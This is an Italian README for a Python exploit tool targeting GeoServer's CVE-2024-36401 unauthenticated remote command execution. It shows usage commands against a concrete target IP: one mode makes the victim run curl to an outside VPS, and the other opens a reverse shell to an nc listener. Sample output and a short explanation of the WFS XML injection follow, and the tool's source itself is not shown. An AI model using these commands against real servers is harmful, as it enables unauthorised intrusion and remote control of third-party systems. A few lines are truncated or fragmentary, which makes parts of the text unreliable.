
Un Exploit Python per "GeoServer"
CVE-2024-36401 è una vulnerabilità di esecuzione remota di comandi in GeoServer. Un attaccante può eseguire comandi arbitrari senza autorizzazione costruendo specifiche richieste WFS (Web Feature Service).
pip install requestsLo strumento supporta due modalità d'uso: modalità cmd (esecuzione diretta di comandi) e modalità reverse (creazione di una shell inversa).
Supponendo che l'indirizzo VPS sia 111.46.112.85,
utilizzare la modalità cmd per eseguire un comando curl e verificare se il server di destinazione può accedere alla rete esterna:
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
Metodo di verifica: avviare un server HTTP sul VPS per ricevere le richieste
# Eseguire sul VPS
python -m http.server 8090
Se le informazioni di ritorno vengono ricevute con successo, si vedrà un output simile al seguente:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
Utilizzare la modalità reverse per stabilire una shell inversa verso un VPS e una porta specifici:
Passo 1: Impostare la porta in ascolto sul VPS
# Eseguire sul VPS
nc -lvp 6666
Passo 2: Eseguire lo strumento di sfruttamento per avviare la connessione inversa
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
Dopo l'esecuzione, lo strumento mostrerà un output simile a:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
A questo punto, se lo sfruttamento ha successo, il listener nc sul VPS riceverà una sessione di shell inversa.
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd: modalità di esecuzione di un singolo comandoreverse: modalità di shell inversa<target>: indirizzo e porta del server di destinazione, nel formato ip:port<command>: comando da eseguire sul server di destinazione<vps_ip>: indirizzo IP del server VPS<vps_port>: porta in ascolto sul VPSQuesta vulnerabilità sfrutta un difetto di sicurezza nel servizio WFS di GeoServer, iniettando codice Java nel valueReference per eseguire comandi di sistema. Lo strumento costruisce un payload XML contenente codice malevolo e lo invia all'interfaccia WFS di GeoServer, realizzando così l'esecuzione remota di comandi.
/geoserver/wfs con il contenuto appropriato.Aggiornare tempestivamente GeoServer alla versione di sicurezza rilasciata ufficialmente e configurare il server seguendo le migliori pratiche di sicurezza.